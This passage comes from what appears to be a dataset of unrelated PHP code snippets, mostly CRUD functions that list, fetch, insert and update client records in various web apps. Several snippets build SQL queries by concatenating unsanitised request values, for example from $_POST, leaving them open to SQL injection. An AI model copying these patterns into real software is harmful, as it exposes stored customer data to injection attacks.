getCodCliente()\n {\n return $this->codCliente;\n }", "public function cliente_get(){\n\t\t$cliente_id = $this->uri->segment(3);\n\n\t\t//validar el cliente id\n\t\tif (!isset($cliente_id)) {\n\t\t\t$respuesta = array(\n\t\t\t\t'err'=>TRUE,\n\t\t\t\t'mensaje'=>'Es necesario el id del cliente'\n\t\t\t);\n\n\t\t\t$this->response($respuesta, REST_Controller::HTTP_BAD_REQUEST);\n\t\t}\n\n\t\t//lo paso al modelo\n\t\t$cliente = $this->Cliente_model->get_cliente($cliente_id);\n\n\t\t//cargo, valido y lo devuelto para que se muestre\n\t\tif(isset($cliente)){\n\t\t\t$respuesta=array(\n\t\t\t\t'err'=>FALSE,\n\t\t\t\t'mensaje'=>'Registro cargado correctamente',\n\t\t\t\t'cliente'=>$cliente\n\t\t\t);\n\n\t\t\t$this->response($respuesta);\n\t\t}else{\n\t\t\t$respuesta=array(\n\t\t\t\t'err'=>TRUE,\n\t\t\t\t'mensaje'=>'El registro con el id '.$cliente_id.', no exste',\n\t\t\t\t'cliente'=>null\n\t\t\t);\n\t\t\t$this->response($respuesta, REST_Controller::HTTP_NOT_FOUND);\n\t\t}\n\t}", "public function getNomeCliente()\n {\n return $this->nomeCliente;\n }", "public function getCodigoCliente()\n {\n return $this->codigoCliente;\n }", "public function getCodigoCliente()\n {\n return $this->codigoCliente;\n }", "public function getCodigoCliente()\n {\n return $this->codigoCliente;\n }", "public function getAplicarDescontoCliente()\n {\n return $this->aplicar_desconto_cliente;\n }", "public function getIdCliente()\n {\n return $this->idCliente;\n }", "function leerClientes(){\n \n try{\n $stmt = $this->dbh->prepare(\"SELECT c.idClienteTg, c.NombreCte,c.RFCCte, c.direccion, c.ciudad,c.estado, c.email, c.telefono, c.numTg,r.nombreReferencia FROM referencias r join tarjetas_clientes c on r.idreferencia=c.referenciaId where c.status=1\");\n // Especificamos el fetch mode antes de llamar a fetch()\n $stmt->execute();\n $clientes = $stmt->fetchAll(PDO::FETCH_NUM);\n } catch (PDOException $e){\n $clientes=array(\"status\"=>\"0\",\"mensaje\"=>$e->getMessage());\n }\n \n return $clientes;\n }", "public function getcliente() {\n \n $procedure = \"call sp_appweb_pt_getclienteinterno()\";\n\t\t$query = $this->db-> query($procedure);\n \n if ($query->num_rows() > 0) {\n\n $listas = '<option value=\"0\" selected=\"selected\"></option>';\n \n foreach ($query->result() as $row)\n {\n $listas .= '<option value=\"'.$row->CCLIENTE.'\">'.$row->RAZONSOCIAL.'</option>'; \n }\n return $listas;\n }{\n return false;\n }\t\n }", "function getCliente($filter) {\n $where = \" WHERE Id_cliente LIKE :Id_cliente OR Nombre LIKE :Nombre OR Apellido_paterno LIKE :Apellido_paterno\";\n $array = array(\n 'Id_cliente' => '%' . $filter . '%',\n 'Nombre' => '%' . $filter . '%',\n 'Apellido_paterno' => '%' . $filter . '%',\n );\n\n $columns = \"Id_cliente, Nombre, Apellido_paterno, Apellido_materno, Email, Edad, Fecha_inicio, Folio\";\n //Retorname el valor de acuerdo a los parametros que estan arriba\n return $this->db->select1($columns, \"clientes\", $where, $array);\n }", "public function getNomeFantasiaCliente()\n {\n return $this->nomeFantasiaCliente;\n }", "public function ClientesPorId()\n{\n\tself::SetNames();\n\t$sql = \" select * from clientes where codcliente = ? \";\n\t$stmt = $this->dbh->prepare($sql);\n\t$stmt->execute( array(base64_decode($_GET[\"codcliente\"])) );\n\t$num = $stmt->rowCount();\n\tif($num==0)\n\t{\n\t\techo \"\";\n\t}\n\telse\n\t{\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$this->p[] = $row;\n\t\t\t}\n\t\t\treturn $this->p;\n\t\t\t$this->dbh=null;\n\t\t}\n\t}", "function listarClienteLibro()\n {\n $this->procedimiento='rec.ft_cliente_sel';\n $this->transaccion='REC_RELIBRO_SEL';\n $this->tipo_procedimiento='SEL';//tipo de transaccion\n\n $this->setParametro('id_oficina_registro_incidente','id_oficina_registro_incidente','integer');\n $this->setParametro('fecha_ini','fecha_ini','date');\n $this->setParametro('fecha_fin','fecha_fin','date');\n $this->setCount(false);\n\n $this->captura('id_reclamo','int4');\n $this->captura('nro_frd','varchar');\n $this->captura('correlativo_preimpreso_frd','int4');\n $this->captura('fecha_hora_incidente','timestamp');\n $this->captura('fecha_hora_recepcion','timestamp');\n $this->captura('fecha_hora_recepcion_sac','date');\n $this->captura('detalle_incidente','text');\n $this->captura('nombre','text');\n $this->captura('celular','varchar');\n $this->captura('telefono','varchar');\n $this->captura('nombre_incidente','varchar');\n $this->captura('sub_incidente','varchar');\n\n //Ejecuta la instruccion\n $this->armarConsulta();\n\t\t//var_dump($this->respuesta); exit;\n $this->ejecutarConsulta();\n //var_dump($this->respuesta); exit;\n //Devuelve la respuesta\n return $this->respuesta;\n\n }", "public function consultarCliente(){\n //$conexao = $c->conexao();\n\n $sql = \"SELECT * FROM tbclientes order by nome; \";\n $sql = $this->conexao->query($sql);\n\n $dados = array();\n\n while ($row = $sql->fetch_array()) { \n $dado = array();\n $dado['reg'] = $row[\"reg\"];\n $dado['nome'] = $row[\"nome\"];\n $dado['nomeFantasia'] = $row[\"nomefantasia\"];\n $dado['rg'] = $row[\"rg\"];\n $dado['cpf'] = $row[\"cpf\"];\n $dado['cnpj'] = $row[\"cnpj\"];\n $dado['telefone'] = $row[\"telefone\"];\n $dado['dt_nascimento'] = $row[\"dt_nascimento\"];\n $dado['habilitado'] = $row[\"habilitado\"];\n $dados[] = $dado;\n } \n\n return $dados; \n \n }", "public function consultarClientes() {\n\n $conexion = new conexion();\n $sql = \"select nit, nombre from cliente_general where estado = 'A' group by nit,nombre order by nombre\";\n $resulConsulta = $conexion->consultar($sql);\n\n return $resulConsulta;\n }", "public function getCodigoClient()\n {\n return $this->codigo_client;\n }", "static public function ctrMostrarIdCliente($valor){\n\n $respuesta = ModeloClientes::mdlMostrarIdCliente($valor);\n\t\treturn $respuesta;\n }", "public function recuperaToken()\n {\n // por eso para propositos de prueba solo se usara el primer cliente\n $this->cliente=Cliente::find(1)->token;\n }", "function listadoClientes(){\n\t\t\t\n\t\t\t//SQL\n\t\t\t$query = \"SELECT * FROM users ORDER BY rol,id DESC;\";\n\t\t\t$rst = $this->db->enviarQuery($query,'R');\n\t\t\t\n\t\t\tif(@$rst[0]['id'] != \"\"){\n\t\t\t\treturn $rst;\n\t\t\t}else{\n\t\t\t\treturn array(\"ErrorStatus\"=>true);\n\t\t\t}\n\t\t}", "public function TresorieClient() {\n \n $em = $this->getDoctrine()->getManager();\n $entityClient = $em->getRepository('RuffeCardUserGestionBundle:Client')->findClientNoPaiment();\n return $this->render ( \"RuffeCardTresorieBundle:Default:clientPaiement.html.twig\", array ('Client'=>$entityClient));\n \n }", "function obtener_inf_cliente(){\n $sql=\"select c.id_cliente,c.razon_social \n from cliente c\n \";\n \n $consulta =$this->db->query($sql);\n return $consulta;\n }", "abstract public function getClientInformation();", "function cocinar_registro_cliente() {\n\t\tglobal $bd;\n\t\tglobal $x_idcliente;\n\t\tglobal $x_idpedido;\n\n\t\t\n\t\t// $x_arr_cliente = $_POST['p_cliente'];\n\t\t// $datos_cliente = $x_arr_cliente['cliente'];\n\t\t$datos_cliente = $_POST['p_cliente'];\n\n\t\t$nomclie=$datos_cliente['nombres'];\n\t\t$idclie=$datos_cliente['idcliente'];\n\t\t$num_doc=$datos_cliente['num_doc'];\n\t\t$direccion=$datos_cliente['direccion'];\n\t\t$f_nac=$datos_cliente['f_nac'];\n\t\t// $idpedidos=$x_arr_cliente['i'] == '' ? $x_idpedido : $x_arr_cliente['i'];\n\n\t\tif($idclie==''){\n\t\t\tif($nomclie==''){//publico general\n\t\t\t\t$idclie=0;\n\t\t\t}else{\n\t\t\t\t$sql=\"insert into cliente (idorg,nombres,direccion,ruc,f_nac)values(\".$_SESSION['ido'].\",'\".$nomclie.\"','\".$direccion.\"','\".$num_doc.\"','\".$f_nac.\"')\";\n\t\t\t\t$idclie=$bd->xConsulta_UltimoId($sql);\n\t\t\t}\n\t\t} else {\n\t\t\t// update cliente\n\t\t\t$sql=\"update cliente set nombres='\".$nomclie.\"',ruc='\".$num_doc.\"',direccion='\".$direccion.\"' where idcliente = \".$idclie;\n\t\t\t$bd->xConsulta_NoReturn($sql);\n\t\t}\n\n\t\t// $bd->xConsulta_NoReturn($sql);\n\t\t// $sql=\"update pedido set idcliente=\".$idclie.\" where idpedido in (\".$idpedidos.\")\";\n\t\t\n\t\t$x_idcliente = $idclie;\n\t\t$x_idpedido = $idpedidos;\n\n\t\techo $idclie;\n\n\t\t// $rptclie = json_encode(array('idcliente' => $idclie));\n\t\t// print $rptclie.'|';\n\n\t\t// 031218 // cambio: ahora se graba primero el cliente se devuelve el idcliete, \n\n\t\t// $GLOBALS['x_idcliente'] = $idclie;\n\t\t// return $x_idcliente;\n\t\t// echo $idclie;\n\t}", "function obtenerClientes(){\n $query = $this->connect()->query('SELECT * FROM cliente');\n return $query;\n }", "public function getAllClients(){\n\t\t$sql = \"SELECT * FROM cliente;\";\n\t\treturn $this->Model->getData($sql);\n\t}", "public function buscarclientecuit($cliente = null){\n\n if(sizeof($this->request->getData()) > 0){\n\n $data = $this->request->getData();\n\n if(ctype_digit ($data['id'])){\n\n $auth = $this->request->session()->read('Auth');\n\n try {\n\n $conditions[] = array('Clientes.cuit = ' => $data['id']);\n \n $c = $this->Clientes->find(\n 'all', \n array('recursive' => -1,\n 'conditions' => $conditions)\n )->first();\n\n if (!is_null($c)){\n\n $cliente = $c->toArray();\n\n return $this->redirect(['action' => 'view', $cliente['id']]);\n \n }else{\n\n $this->Flash->error(__('No existe un Cliente con ese CUIT/DNI.'));\n }\n\n } catch (RecordNotFoundException $e) {\n\n $this->Flash->error(__('No existe un Cliente con ese CUIT/DNI.'));\n }\n\n }else{\n\n $this->Flash->error(__('Solo ingresar Numeros sin \".\" ni \"-\".'));\n }\n }\n\n $this->set('cliente', $cliente);\n }", "function read_client(){\n $client = array();\n \n $sql = \"SELECT * FROM client ORDER BY id_client ASC\";\n \n $res = $this->pdo->query($sql);\n\n if(!$res){\n $this->message = \"impossible d'afficher les clients\";\n return false;\n }\n while($resultats = $res->fetch(PDO::FETCH_OBJ)){\n \t$client[$resultats->id_client] = $resultats;\n\t\t}\n return $client;\n }", "function insertarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_INS';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('genero','genero','varchar');\n\t\t$this->setParametro('ci','ci','varchar');\n\t\t$this->setParametro('email','email','varchar');\n\t\t$this->setParametro('email2','email2','varchar');\n\t\t$this->setParametro('direccion','direccion','varchar');\n\t\t$this->setParametro('celular','celular','varchar');\n\t\t$this->setParametro('nombre','nombre','varchar');\n\t\t$this->setParametro('lugar_expedicion','lugar_expedicion','varchar');\n\t\t$this->setParametro('apellido_paterno','apellido_paterno','varchar');\n\t\t$this->setParametro('telefono','telefono','varchar');\n\t\t$this->setParametro('ciudad_residencia','ciudad_residencia','varchar');\n\t\t$this->setParametro('id_pais_residencia','id_pais_residencia','int4');\n\t\t$this->setParametro('nacionalidad','nacionalidad','varchar');\n\t\t$this->setParametro('barrio_zona','barrio_zona','varchar');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('apellido_materno','apellido_materno','varchar');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function CarregaClientes() {\n\t\t$clientes = new Model_Wpr_Clientes_ClientesIntegracao ();\n\t\t\n\t\treturn $clientes->carregaClientes ();\n\t}", "public function getAllClientsInfo() {\n //Nom de famille :\n //Prénom :\n //Date de naissance :\n //Carte de fidélité :\n //Si oui, N° de carte:\n $queryResult = $this->database->query('SELECT lastName, firstName, birthDate, card, cardNumber, \n CASE card\n\tWHEN 1 THEN \"Oui\"\n\tWHEN 0 THEN \"Non\"\n END AS \"etat\"\n FROM clients'); \n $allClientsInfoData = $queryResult->fetchAll(PDO::FETCH_OBJ);\n return $allClientsInfoData;\n }", "function criaModeloDeCliente()\n{\n $cliente = array(\n 'nome' => '',\n 'nome_usuario' => '',\n 'cnpj' => '',\n 'conta_contrato' => '',\n 'razao_social' => '',\n 'produto' => '',\n 'modulo' => '',\n 'duvida' => '',\n 'departamento' => '0',\n 'telefone' => ''\n );\n\n return $cliente;\n}", "public function listarClientes(){\n $this->bd->getConeccion();\n $sql = \"SELECT * FROM CLIENTE\";\n $registros = $this->bd->executeQueryReturnData($sql); \n $this->bd->cerrarConeccion(); \n $clientes = array(); \n \n foreach ($registros as $cliente) {\n $cliente = new Cliente($cliente['id'],$cliente['dni'],$cliente['Nombre'],$cliente['Apellido'],$cliente['Correo'],$cliente['Telefono']);\n array_push($clientes, $cliente);\n }\n \n return $clientes; \n }", "public function List_client_Physique(){\n $req = self::list(\"SELECT * FROM client_physique\");\n return $req;\n }", "public function agendaClient() {\n $response = $this->database->query('SELECT id, lastName, firstName, birthDate, CASE WHEN `card` = true THEN \\'oui\\' ELSE \\'non\\' END AS `card`, cardNumber FROM `clients`');\n $data = $response->fetchAll(PDO::FETCH_OBJ); \n return $data; //la fonction retourne data.\n }", "function afficherclient()\r\n\t{\r\n\t\t$sql=\"SElECT * From user\";\r\n\t\t$db = config::getConnexion();\r\n\t\ttry\r\n\t\t{\r\n\t\t$liste=$db->query($sql);\r\n\t\treturn $liste;\r\n\t\t}\r\n catch (Exception $e)\r\n {\r\n die('Erreur: '.$e->getMessage());\r\n }\r\n\t}", "public function getClientes()\n {\n return $this->clientes;\n }", "public function getClientes()\n {\n return $this->clientes;\n }", "public function get_clientes()\n\t{\n\t\treturn $this->db->get(\"clientes\");\n\t}", "function getNomClient($id_client) {\n global $dbHandler, $global_id_agence;\n $db = $dbHandler->openConnection();\n \n $sql = \"SELECT statut_juridique, pp_nom, pp_prenom, pm_raison_sociale, gi_nom FROM ad_cli WHERE id_client=$id_client and id_ag = $global_id_agence\";\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__, $result->getMessage());\n }\n if ($result->numrows() != 1) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__, _(\"Nombre d'occurences différent de 1 !\"));\n }\n $row = $result->fetchrow(DB_FETCHMODE_ASSOC);\n switch ($row['statut_juridique']) {\n case 1 : //PP\n $nom = $row['pp_prenom'] . \" \" . $row['pp_nom'];\n break;\n case 2 : //PM\n $nom = $row['pm_raison_sociale'];\n break;\n case 3 : //GI\n $nom = $row['gi_nom'];\n case 4 : //GS\n $nom = $row['gi_nom'];\n break;\n default : //Autre\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__, _(\"Statut juridique inconnu !\"));\n break;\n }\n $dbHandler->closeConnection(true);\n return $nom;\n}", "function redirecionaClienteParaDepartamentoTecnologia($cliente)\n{\n\n # montando URL\n $url =\n \"index.php/por/chat/startchat/(leaveamessage)/true?prefill%5Busername%5D={$cliente['razao_social']}&value_items_admin[0]={$cliente['duvida']}&value_items_admin[1]={$cliente['nome_usuario']}&value_items_admin[2]={$cliente['conta_contrato']}&value_items_admin[3]={$cliente['razao_social']}&value_items_admin[4]={$cliente['cnpj']}&value_items_admin[5]=0&nome_departamento=Tecnologia&codigo_ticket=0&novo_erp={$cliente['novo_erp']}&prefill%5Bphone%5D=2&value_items_admin[6]={$cliente['telefone']}&value_items_admin[7]=0\";\n\n # redirecionando cliente para o colaborador no chat teste\n echo json_encode(['url' => 'http://192.168.0.47:9999/' . $url], JSON_UNESCAPED_UNICODE);\n\n # redirecionando cliente para o colaborador no chat produção\n #echo json_encode(['url' => 'https://chat.avancoinfo.net/' . $url], JSON_UNESCAPED_UNICODE);\n\n exit;\n}", "function clientes( $cliente = null )\n{\n\tglobal $con;\n\t$sql = \"Select Id,Nombre from clientes\n\twhere `Estado_de_cliente` like '-1'\n\tor `Estado_de_cliente` like 'on' order by Nombre\";\n\t$consulta = mysql_query($sql,$con);\n\twhile(true == ($resultado = mysql_fetch_array($consulta))) {\n\t\t$seleccionado = ( $cliente == $resultado[0]) ? \"selected\" : \"\";\n\t\t$texto .= \"<option \".$seleccionado.\" value='\".$resultado[0].\"'>\"\n\t\t. $resultado[1] . \"</option>\";\n\t}\n\treturn $texto;\n}", "function modificarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_MOD';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\t\t$this->setParametro('genero','genero','varchar');\n\t\t$this->setParametro('ci','ci','varchar');\n\t\t$this->setParametro('email','email','varchar');\n\t\t$this->setParametro('email2','email2','varchar');\n\t\t$this->setParametro('direccion','direccion','varchar');\n\t\t$this->setParametro('celular','celular','varchar');\n\t\t$this->setParametro('nombre','nombre','varchar');\n\t\t$this->setParametro('lugar_expedicion','lugar_expedicion','varchar');\n\t\t$this->setParametro('apellido_paterno','apellido_paterno','varchar');\n\t\t$this->setParametro('telefono','telefono','varchar');\n\t\t$this->setParametro('ciudad_residencia','ciudad_residencia','varchar');\n\t\t$this->setParametro('id_pais_residencia','id_pais_residencia','int4');\n\t\t$this->setParametro('nacionalidad','nacionalidad','varchar');\n\t\t$this->setParametro('barrio_zona','barrio_zona','varchar');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('apellido_materno','apellido_materno','varchar');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function listarc()\n\t{\n\t\t$sql=\"SELECT * FROM persona WHERE tipo_persona = 'Cliente';\";\n\t\treturn ejecutarConsulta($sql);\n\t}", "function consultarCliente (){\n\t\t$x = $this->pdo->prepare('SELECT * FROM cliente');\n\t\t$x->execute();\n\t\treturn $x->fetchALL(PDO::FETCH_OBJ);\n\t}", "public function cliente()\r\r\n\t{\r\r\n\t\treturn $this->has_one('Cliente');\r\r\n\t}", "private function lista_clientes()\n {\n\n $lista_clientes = Cliente::where('status', 1)\n ->orderBy('nome')\n ->get();\n\n return $lista_clientes;\n }", "public function ListarClientes()\n{\n\tself::SetNames();\n\t$sql = \" select * from clientes \";\n\tforeach ($this->dbh->query($sql) as $row)\n\t{\n\t\t$this->p[] = $row;\n\t}\n\treturn $this->p;\n\t$this->dbh=null;\n}", "public function cliente()\n {\n \treturn $this->belongsTo('App\\User', 'id_cliente');\n }", "function tipo_cliente($id_tipo_cliente=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\tif ($id_tipo_cliente==\"\") {\n\t\treturn \"Tutti i Clienti\";\n\t}\n\t$q=\"SELECT * FROM tipo_cliente WHERE id_tipo_cliente=$id_tipo_cliente\";\n\t$r=$db->query($q);\n\tif (!$r) {\n\t\treturn \"Dato Assente\";\n\t}else{\n\t\t$ro= mysql_fetch_array($r);\n\t\treturn $ro['nome'];\n\t}\n}", "function eliminarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function obtenidcliente($rfc){\n\t$funcbase = new dbutils;\n/*** conexion a bd ***/\n $mysqli = $funcbase->conecta();\n if (is_object($mysqli)) {\n\t\t$req = \"SELECT idclientes FROM clientes WHERE rfc = '\" \n \t.$rfc.\"'\"; \n \n \t\t$idcliente = $mysqli->query($req)->fetch_object()->idclientes;\n } else {\n die (\"<h1>'No se establecio la conexion a bd'</h1>\");\n }\n\t\t\n /* liberar la serie de resultados */\n /* cerrar la conexion */\n\t mysqli_close($mysqli);\n\t\t\n\treturn $idcliente;\n}", "public function buscar_cliente1()\n\t\t{\n\t\t\t$sql =\"SELECT nom_empresa, razon_social FROM empresas\";\t\n\t\t\t$query = $this->db->query($sql);\n\t\t\treturn $query->result();\n\t\t}", "public function cliente($cliente)\n {\n $sentencia = \"SELECT clNumReporte from tsreportebocadetubo WHERE cacliente_clCliente = :cliente ORDER BY id DESC LIMIT 1\";\n try {\n $stm = $this->db->prepare($sentencia);\n $stm->bindValue(':cliente', $cliente);\n $stm->execute();\n $registros = $stm->fetchAll(PDO::FETCH_OBJ);\n\n return $registros;\n } catch (Exception $e) {\n echo \"$e->getMessage()\";\n }\n }", "function loadClienteForm(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_GET';//'\n\t\t$this->tipo_procedimiento='IME';//tipo de transaccion\n\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\n\t\t$this->captura('v_valor','varchar');\n\t\t$this->captura('genero','varchar');\n\t\t$this->captura('ci','varchar');\n\t\t$this->captura('email','varchar');\n\t\t$this->captura('email2','varchar');\n\t\t$this->captura('direccion','varchar');\n\t\t$this->captura('celular','varchar');\n\t\t$this->captura('nombre','varchar');\n\t\t$this->captura('lugar_expedicion','varchar');\n\t\t$this->captura('apellido_paterno','varchar');\n\t\t$this->captura('telefono','varchar');\n\t\t$this->captura('ciudad_residencia','varchar');\n\t\t$this->captura('id_pais_residencia','int4');\n\t\t$this->captura('nacionalidad','varchar');\n\t\t$this->captura('barrio_zona','varchar');\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('apellido_materno','varchar');\n\t\t$this->captura('id_usuario_ai','int4');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('usuario_ai','varchar');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\n\t\t$this->captura('nombre_completo1','text');\n\t\t$this->captura('nombre_completo2','text');\n\t\t$this->captura('pais_residencia','varchar');\n\t\t//Definicion de la lista del resultado del query\n\t\t/*$this->captura('v_id_cliente','int4');\n\t\t$this->captura('v_genero','varchar');\n\t\t$this->captura('v_ci','varchar');\n\t\t$this->captura('v_email','varchar');\n\t\t$this->captura('v_direccion','varchar');\n\t\t$this->captura('v_celular','varchar');\n\t\t$this->captura('v_nombre','varchar');\n\t\t$this->captura('v_lugar_expedicion','varchar');\n\t\t$this->captura('v_apellido_paterno','varchar');\n\t\t$this->captura('v_telefono','varchar');\n\t\t$this->captura('v_ciudad_residencia','varchar');\n\t\t$this->captura('v_id_pais_residencia','int4');\n\t\t$this->captura('v_nacionalidad','varchar');\n\t\t$this->captura('v_barrio_zona','varchar');\n\t\t//$this->captura('estado_reg','varchar');\n\t\t$this->captura('v_apellido_materno','varchar');\n\t\t//$this->captura('id_usuario_ai','int4');\n\t\t//$this->captura('fecha_reg','timestamp');\n\t\t//$this->captura('usuario_ai','varchar');\n\t\t//$this->captura('id_usuario_reg','int4');\n\t\t//$this->captura('fecha_mod','timestamp');\n\t\t//$this->captura('id_usuario_mod','int4');\n\t\t//$this->captura('usr_reg','varchar');\n\t\t//$this->captura('usr_mod','varchar');\n\n\t\t$this->captura('v_completo','text');\n\t\t$this->captura('v_nombre_completo2','text');\n\t\t$this->captura('v_pais_residencia','varchar');*/\n\t\t//$this->captura('nombre','varchar');\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function getcontaccliente($ccliente) {\n \n $sql = \"select ccontacto, (dapepat+' '+dapemat+' '+dnombre) as 'dcontacto'\n from mcontacto \n where ccliente = '\".$ccliente.\"'\n order by dcontacto;\";\n\t\t$query = $this->db->query($sql);\n \n if ($query->num_rows() > 0) {\n\n $listas = '<option value=\"%\" selected=\"selected\">::Elegir</option>';\n \n foreach ($query->result() as $row)\n {\n $listas .= '<option value=\"'.$row->ccontacto.'\">'.$row->dcontacto.'</option>'; \n }\n return $listas;\n }{\n return false;\n }\t\n }", "function get_client($id_cliente)\n {\n $conexao = open_database_connection();\n\n $id = mysql_real_escape_string($id_cliente);\n\n $query = 'SELECT nome_cliente FROM cliente WHERE id_cliente = '.$id;\n\n $result = mysql_query($query);\n $row = mysql_fetch_assoc($result);\n\n close_database_connection($conexao);\n\n return $row;\n }", "function getSorpresa(){\r\n return $this->sorpresa;\r\n }", "public function getClient()\n {\n return $this->neo;\n }", "public function listadoPedidos(){\n $pedido=new Pedido();\n\n //Conseguimos todos los usuarios\n $allPedido=$pedido->getAll();\n print_r(json_encode($allPedido));\n //echo $allClientes\n }", "function obtenerCliente ($cedula){\n\t\t$x = $this->pdo->prepare('SELECT * FROM cliente where cedula = ?');\n\t\t$x->execute(array($cedula));\n\t\treturn $x->fetchALL(PDO::FETCH_OBJ);\n\t}", "public static function getClient($id){\r\n if(!empty($_GET['id'])){\r\n $id = $_GET['id'];\r\n }\r\n $dados = Client::select()->where('id', $id)->one();\r\n // print_r($dadosFun);exit;\r\n \r\n // transformar o resultado em objetos dos models\r\n if(count($dados) > 0){\r\n $viewClient = new Client();\r\n $viewClient->id = $dados['id'];\r\n $viewClient->email = $dados['email'];\r\n $viewClient->name = $dados['name'];\r\n $viewClient->service = $dados['service'];\r\n $viewClient->phone = $dados['phone'];\r\n $viewClient->comment = $dados['comment'];\r\n $viewClient->rg = $dados['rg'];\r\n $viewClient->cpf = $dados['cpf'];\r\n $viewClient->photo_client = $dados['photo_client'];\r\n $viewClient->extract = $dados['extract'];\r\n $viewClient->residence = $dados['residence'];\r\n $viewClient->mirror = $dados['mirror'];\r\n $viewClient->printzap = $dados['printzap'];\r\n $viewClient->id_user = $dados['id_user'];\r\n $viewClient->name_user = $dados['name_user'];\r\n\r\n return $viewClient;\r\n }\r\n }", "public function loadCliente(){ \n if(!empty($this->mod_cli->CargarCliente())){\n\t\t\t$datos=$this->mod_cli->CargarCliente();\n\t\t\t //print_r($datos);\n\t\t\trequire_once \"views/Clientes/cliente/Frm_Clientes_Datos.php\";\n\t\t}else{\n\t\t\t\t$datos=[];\n\t\t\t\trequire_once \"views/Clientes/cliente/Frm_Clientes_Datos.php\";\n\t\t\t}\n //print_r($datos); \n }", "public function getCodServico()\n {\n return $this->cod_servico;\n }", "function leerCreditos(){\n \n try{\n $stmt = $this->dbh->prepare(\"SELECT c.idcredito, t.NombreCte,c.tipoContrato, c.montoTotal, c.plazo,c.mensualidad, c.interes,\"\n . \" c.metodoPago, c.observaciones, c.status FROM tarjetas_clientes t join credito c on t.idClienteTg=c.cteId where c.status=1 or c.status=3\");\n // Especificamos el fetch mode antes de llamar a fetch()\n $stmt->execute();\n $clientes = $stmt->fetchAll(PDO::FETCH_NUM);\n } catch (PDOException $e){\n $clientes=array(\"status\"=>\"0\",\"mensaje\"=>$e->getMessage());\n }\n \n return $clientes;\n }", "public function getCliente($id_zootecnico){\n\t\t$this->db->select('c.id_cliente, c.nombre, c.ap_paterno, c.ap_materno');\n\t\t$this->db->from('asignacion_cliente_z cz, zootecnico z, cliente c');\n\t\t$this->db->where('cz.id_cliente = c.id_cliente');\n\t\t$this->db->where('cz.id_zootecnico = z.id_zootecnico');\n\t\t$this->db->where('z.id_zootecnico', $id_zootecnico);\n\t\t$s = $this->db->get();\n\t\treturn $s->result();\n\t}", "function opzioni_cliente($id_tipo_cliente=\"\", $id_cli=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\t$visualizza =\"<a href=\\\"cliente_show.php?id_cli=\".$id_cli.\"\\\"><img src=\\\"images/cliente_dati.gif\\\" title=\\\"Visualizza Dati Cliente\\\"/></a>\";\n\t$opzione =\"<a href=\\\"popup_immobili.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_popup_immobili.gif\\\" title=\\\"Mostra Immobile/i del cliente\\\"/></a>\";\n\t$str=\"\";\n\n\tswitch ($id_tipo_cliente) {\n\t\t\n\t\tcase 1: // acquirente\n\t\t\t//$opzione =\"<a href=\\\"popup_richieste.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_popup_richieste.gif\\\" title=\\\"Mostra Richiesta/e del cliente\\\"/></a>\";\n\t\t//\t$richieste = \"<a href=\\\"immobile_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_richieste.gif\\\" title=\\\"Mostra Immobili Affini alle richieste del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t//\t$str.=$opzione;\n\t\t\tbreak;\n\t\tcase 2: // venditore\n\t\t\t//$richieste = \"<a href=\\\"richieste_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_vendo.gif\\\" title=\\\"Mostra Richieste Correlate all'immobile del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t//\t$str.=$opzione;\n\t\t\tbreak;\n\t\tcase 3: // affittuario\n\t\t\t$richieste = 